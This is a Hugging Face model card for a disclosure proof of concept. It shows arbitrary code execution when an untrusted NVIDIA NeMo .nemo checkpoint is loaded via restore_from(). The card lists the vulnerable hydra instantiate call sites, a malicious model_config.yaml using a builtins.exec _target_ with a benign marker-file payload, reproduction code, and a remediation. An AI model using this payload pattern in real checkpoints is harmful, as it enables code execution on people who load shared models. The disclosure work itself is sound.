--- license: apache-2.0 tags: - security - proof-of-concept - do-not-use viewer: false --- # ⚠️ SECURITY RESEARCH PoC — DO NOT LOAD THIS MODEL ⚠️ This repository is **not a real model**. It hosts a single crafted `malicious_vocoder.nemo` that demonstrates **arbitrary code execution** when an untrusted NVIDIA **NeMo** `.nemo` checkpoint is loaded with the standard `restore_from()` API. It exists solely for **coordinated disclosure** to the NeMo maintainers via [huntr](https://huntr.com). The payload is **benign** — it prints a banner and writes a marker file `PWNED_NEMO_HF.txt` into your OS temp directory. **Do not load it** unless you understand exactly what it does. Affected: `nemo_toolkit` **2.7.3 (latest)** and `main` (2.8.0). No OSV/GHSA advisory covers 2.7.x. --- ## The bug in one paragraph A `.nemo` file is a tar archive containing `model_config.yaml`. On `restore_from()`, NeMo loads that **untrusted** YAML and constructs the model. Several TTS/vocoder `__init__` methods then call **`hydra.utils.instantiate(self._cfg.)` directly** on sub-configs taken verbatim from the YAML. `instantiate()` resolves and **calls the `_target_`** with attacker-supplied `_args_`, so a sub-config like `preprocessor: {_target_: builtins.exec, _args_: [""]}` runs arbitrary code at load time. These raw calls **bypass** NeMo's `safe_instantiate` allow-list (the CVE-2026-24159 hardening), which only guards the `from_config_dict` `_target_` branch — not the model `__init__` path. ## Vulnerable chain (NeMo 2.7.3) 1. `nemo/core/connectors/save_restore_connector.py` — `OmegaConf.load(model_config.yaml)` (untrusted) 2. `…` — `calling_cls.from_config_dict(config=conf, trainer=trainer)` 3. `nemo/core/classes/common.py:589` `from_config_dict` — a normal model config (no top-level `_target_`) hits the `else` branch and constructs `cls(cfg=config)`, running the model `__init__` with the untrusted config (only the `_target_` / `cls+params` branches route through guarded `safe_instantiate`). 4. `nemo/collections/tts/models/waveglow.py:49` ```python self.audio_to_melspec_precessor = instantiate(self._cfg.preprocessor) # RAW, no allow-list ``` where `instantiate` is `from hydra.utils import instantiate` (waveglow.py:17). 5. `hydra.utils.instantiate` executes the attacker `_target_` → **RCE**. Same raw `instantiate(self._cfg.*)` sink in: `tacotron2.py:113-115`, `two_stages.py:126/131`, `spectrogram_enhancer.py:276`, plus `univnet.py`, `vits.py`, `radtts.py`, `mixer_tts.py` (all `from hydra.utils import instantiate`). A second, independent vector is the legacy `target` else-branch in `common.py:614` (`import_class_by_path(config["target"])` → `imported_cls(cfg=config)`), also unguarded. ## The malicious `model_config.yaml` (inside the .nemo) ```yaml sigma: 1.0 preprocessor: _target_: builtins.exec _args_: - | import os, tempfile open(os.path.join(tempfile.gettempdir(), "PWNED_NEMO_HF.txt"), "w").write("RCE") print("[PWNED] code ran inside WaveGlowModel.restore_from()") waveglow: {} ``` ## Reproduce (victim's point of view) ```bash pip install nemo_toolkit[tts] huggingface_hub ``` ```python from huggingface_hub import hf_hub_download from nemo.collections.tts.models import WaveGlowModel path = hf_hub_download(repo_id="", filename="malicious_vocoder.nemo") WaveGlowModel.restore_from(path) # __init__ -> instantiate(self._cfg.preprocessor) -> code runs ``` Observed: a `[PWNED] …` banner prints and `PWNED_NEMO_HF.txt` appears in your temp dir, **before** `restore_from` errors out on the placeholder weights — proving the code runs at load time. ## Impact `.nemo` checkpoints are routinely distributed via the Hugging Face Hub and NVIDIA NGC; `restore_from` is **the** standard loading API. A victim loading an attacker's TTS/vocoder `.nemo` — a normal, trusted-looking action — gets arbitrary code execution in their process. `CVSS:3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (~8.8 High). ## Remediation Route all model-config-driven instantiation through `safe_instantiate` (or run `_validate_config_targets_recursive` before every `hydra.utils.instantiate(self._cfg.*)` in `nemo/collections/tts/models/*`), and guard the legacy `target` branch in `from_config_dict` (`common.py:605-625`). --- *Reported responsibly via huntr. Files in this repo are inert configuration; the "weights" are a zero-byte placeholder. Replace the benign payload at your own risk.*